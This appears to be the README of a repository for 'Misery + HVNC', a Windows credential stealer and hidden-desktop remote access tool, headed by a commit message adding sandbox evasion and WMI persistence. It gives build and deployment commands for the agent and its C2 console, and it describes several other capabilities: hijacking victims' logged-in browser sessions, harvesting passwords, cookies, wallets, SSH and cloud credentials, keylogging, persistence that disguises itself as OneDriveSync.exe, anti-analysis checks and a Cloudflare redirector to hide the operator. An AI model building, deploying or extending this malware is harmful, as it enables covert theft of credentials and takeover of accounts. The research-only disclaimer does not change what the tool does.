Add a user-mode environment check (CPUID, firmware tables, MAC OUIs, guest drivers, PEB flags, debug-port queries, tool scans) that gates the TCP reconnect backoff. Extend debugger_present() with ProcessDebugObjectHandle (0x1E). Add WMI event subscriptions (T1546.003): a 15-minute timer relaunch plus a Run-key guard that recreates a deleted value, backed by an idempotent Run write that cannot retrigger itself. Document both in the README.
8.4 KiB
a devoted sister of the Church of Malware
Misery + HVNC
An HVNC inspired by Ek0ms' research, rebuilt on top of the Misery stealer with hidden-desktop and ghosted browser sessions, credential and app-session harvesting, and single-channel encrypted C2 (reverse TCP by default, HTTPS beaconing through a CDN as an option).
For local testing and research only. The source stealer is Misery; the HVNC follows on from Ek0m's work.
Disclaimer
For educational and research use only. Test it on systems you own or have written permission to test, in an isolated lab. Do not use it for unauthorised activity. The authors take no responsibility for misuse.
Operator view
The console's live hidden-desktop feed, streamed from the agent and rendered in the view window:
VirusTotal scan
Which session to use
Two ways to run a hidden browser session. Both launch a real Chrome or Edge with the victim's cookies and logins (so sites are already logged in); they differ in how the profile is handled:
Ghosted session (ghost <url>) |
Hidden desktop (hvnc start) |
|
|---|---|---|
| Profile | Snapshot copy of the victim's profile, deleted when the session stops | The victim's real, live profile |
| Browser | Chrome / Edge only | Any app, plus a full desktop with explorer and Start menu |
| Collides with a browser the victim has open? | No | Yes (profile lock / two-instance conflict) |
| Writes back to the victim's profile? | No | Yes: history, cookies, sign-outs persist |
| Use when | You just need an authenticated browser session | You need the whole hidden desktop or a non-browser app |
The stealer normally runs inside the browser through reflective injection, so the app-bound decryption passes its process check. When no injectable browser is present, the agent falls back to an offline DPAPI run in the agent process. Either way, the core work happens over one encrypted channel. The agent streams frames and results, the console forwards input, and the console writes exfil results to disk.
Quick start
Builder first. setup.py is an msfvenom-style wizard/CLI that writes src/config.h (host, port, key, exfil URL, CDN settings) and builds the project. Guided wizard, or the same thing non-interactively:
python setup.py -g
python setup.py -t tcp LHOST=127.0.0.1 LPORT=4444 KEY=<16 chars or 32 hex> -o agent
Run the console (it is the listener) then the agent (it connects):
.\build\console.exe
.\build\agent.exe
The console is a terminal, not a toolbar: banner, misery > prompt, and [+] agent: hostname|user|id on connect. A live view window opens for the hidden-desktop feed; mouse and keyboard input there is forwarded to the session. Type help for steal, hvnc start | stop | launch [path], ghost <url> | stop, keylog, clip, clear, exit.
The steal summary counts browser and app loot in one line:
[+] steal done: 0 pw / 0 ck / 0 cards / 2 discord / 1 steam / 1 wallets / 1 wifi / 1 ssh / 1 vscode / 0 telegram / 0 slack / 0 signal / 0 aws -> loot-20260812_001608.json
Configuration
All C2 defaults live in src/config.h (generated by setup.py), and anything you set at the command line or in the environment wins over them:
- CLI:
agent <host> [port] - Env:
HVNC_C2_HOST,HVNC_C2_PORT - Compile-time defaults from
src/config.h
The config holds the host, port, the 16-byte master key, the optional HTTPS exfil URL, and the CDN beacon settings (HVNC_BEACON_URL, header, sleep interval). The tracked default points at 127.0.0.1:4444 with a placeholder key, so a fresh checkout builds and runs out of the box.
The master key persists to .misery_key on first build. Later setup.py runs reuse it, so a rebuild keeps the same key and agents already deployed keep working. Pass KEY= to force a specific key, or --rotate-key to generate a fresh one. .misery_key is gitignored.
Persistence
Persistence is a separate agent mode, not a runtime behaviour. Run the installed (or built) agent.exe with a flag; it registers and exits:
| Flag | Effect |
|---|---|
--persist / --unpersist |
Add/remove the HKCU Run key (T1547.001). Copies the running image to %APPDATA%\OneDriveSync.exe under a neutral name and points the Run value at it. |
--persist-wmi / --unpersist-wmi |
Add/remove two WMI event subscriptions (T1546.003): a 15-minute timer that relaunches the copy, and a guard that recreates the Run value if it is deleted. |
The modes compose: Run key and WMI all reference the same %APPDATA% copy, so the on-disk footprint is unchanged. Reinstalling via --persist-wmi after a run-key cleanup is exactly why the guard exists; persist::enable() skips an identical write, so the guard cannot retrigger itself. --unpersist-wmi tears down both subscriptions idempotently.
Anti-analysis
Before the agent connects, the TCP carrier runs a user-mode environment check (src/evasion/environment.cpp): CPUID hypervisor bit and brand, SMBIOS/ACPI vendor strings, virtual NIC OUIs, guest driver files, PEB debug flags, debug-port queries, and a process/window/module scan for reverse-engineering tools. A positive result (or a short uptime with few CPUs, a common sandbox heuristic) extends the reconnect backoff from 5s to 15s so a watched environment reports in less eagerly.
CDN transport (Cloudflare)
setup.py -t https_cdn switches the agent to HTTPS beaconing instead of raw TCP. It also emits two deploy files: deploy/worker.js (Cloudflare Worker redirector) and deploy/cloudflared-config.yml (Zero Trust Tunnel).
agent ──HTTPS POST/GET──▶ Cloudflare Worker ──▶ Zero Trust Tunnel ──▶ console
A beacon is a batch of encrypted POSTs. The request carries an auth header the Worker validates, plus service-auth headers for the tunnel. The Worker redirects to a cloudflared tunnel on your box, so the console never needs a public IP.
To deploy:
- Create a Worker and publish
deploy/worker.js - On the console host, run
cloudflaredwith a tunnel mapped tohttp://localhost:<port> - Lock the tunnel with a Cloudflare Access service-auth token and put its credentials in the Worker
- Point
HVNC_BEACON_URLat the Worker URL
The beacon client and the console's HTTP relay both exist. With HVNC_TRANSPORT 1 the console runs the relay listener on the C2 port and the same REPL commands work over it.
Build
You need cmake, a C++ toolchain, and objcopy (or llvm-objcopy). The build embeds the payload DLL as an object file, so configure fails if it can't find an objcopy binary. CMake prefers llvm-objcopy; set CMAKE_OBJCOPY to force a specific one.
MSVC:
cmake -S . -B build -G "Visual Studio 17 2022" -A x64
cmake --build build --config Release
MinGW:
cmake -S . -B build -G "MinGW Makefiles" -DCMAKE_BUILD_TYPE=Release -DCMAKE_OBJCOPY="C:\path\to\objcopy.exe"
cmake --build build --config Release -- -j 4
The src/config.h shipped in the repo defaults to 127.0.0.1:4444 and a placeholder master key, so a fresh checkout builds and connects to localhost without running the builder. Swap in a real key before deploying.
Only run this in isolated labs with documented permission. To start clean, delete build/ with Remove-Item -Recurse -Force build (PowerShell) or rm -rf build (msys/mingw).
Outputs
Results are written by the console to the directory it runs from:
loot-<timestamp>.json(gitignored) for each stealkeylog.txtfor keylogger capture
Tested on Chrome and Edge on Windows 10 / 11 (x64).
Layout
src/agent: agent entry point, C2 client, injector, persistence (Run key + WMI subscriptions)src/console: operator console and listenersrc/payload: payload DLL, reflective loader, trampolinesrc/stealer: Misery-derived stealer sourcessrc/hvnc: hidden-desktop sessionsrc/ghost: ghosted browser sessionsrc/rat: keylogger and clipboardsrc/transport: encrypted TCP framing and frame compressionsrc/evasion: indirect-syscall engine, anti-analysis fingerprinting, evasion helpersbuild/: out-of-source build directory
Licence
No licence is granted. This is research code shared for study; it is not licensed for redistribution or commercial use.

